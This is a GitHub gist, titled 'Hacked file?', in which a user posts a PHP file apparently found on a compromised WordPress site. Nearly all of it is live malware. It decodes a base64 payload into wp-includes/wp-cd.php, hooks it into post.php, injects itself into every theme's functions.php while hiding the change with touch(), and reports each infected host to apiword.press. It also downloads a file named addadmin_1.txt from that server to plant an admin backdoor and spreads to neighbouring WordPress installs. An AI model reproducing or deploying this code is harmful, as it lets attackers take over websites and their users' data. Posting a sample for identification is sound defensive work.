Skip to content

Instantly share code, notes, and snippets.

@djboris88
Created November 27, 2017 10:24
Show Gist options
  • Save djboris88/69a42727f40f0c1481c6db9cf6052a7f to your computer and use it in GitHub Desktop.
Save djboris88/69a42727f40f0c1481c6db9cf6052a7f to your computer and use it in GitHub Desktop.
Hacked file?
<?php
//install_code
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUNocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjNza1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2YmlkZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVdOb0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDNCa1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1VSZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkdSaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2N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ZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();
$search = Array(
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);
function getDirList($path)
{
if ($dir = @opendir($path))
{
$result = Array();
while (($filename = @readdir($dir)) !== false)
{
if ($filename != '.' && $filename != '..' && is_dir($path . '/' . $filename))
$result[] = $path . '/' . $filename;
}
return $result;
}
return false;
}
function WP_URL_CD($path)
{
if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
{
if (strpos($file, 'wp-cd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
}
}
}
function SearchFile($search, $path)
{
if ($dir = @opendir($path))
{
$i = 0;
while (($filename = @readdir($dir)) !== false)
{
if ($i > MAX_ITERATION) break;
$i++;
if ($filename != '.' && $filename != '..')
{
if (is_dir($path . '/' . $filename) && !in_array($filename, $GLOBALS['stopkey']))
{
SearchFile($search, $path . '/' . $filename);
}
else
{
foreach ($search as $_)
{
if (strtolower($filename) == strtolower($_['file']))
{
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
}
}
}
}
}
}
}
if (is_admin() && (($pagenow == 'themes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MoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
{
$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
if ($list = scandir( $themes ))
{
foreach ($list as $_)
{
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
if (strpos($content, 'WP_URL_CD') === false)
{
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else
{
$ping = false;
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
@file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
}
}
}
for ($i = 0; $i<MAX_LEVEL; $i++)
{
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
}
foreach ($dirs as $dir)
{
foreach (@getDirList($dir) as $__)
{
@SearchFile($search, $__);
}
}
foreach ($GLOBALS['DIR_ARRAY'] as $e)
{
if ($file = file_get_contents($e[1]))
{
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
{
if ($salt[1] != AUTH_SALT)
{
WP_URL_CD(dirname($e[1]));
}
}
}
}
if ($file = @file_get_contents(__FILE__))
{
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<\?php\s*\?>!s', '', $file);
@file_put_contents(__FILE__, $file);
}
}
//install_code_end
?><?php error_reporting(0);?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment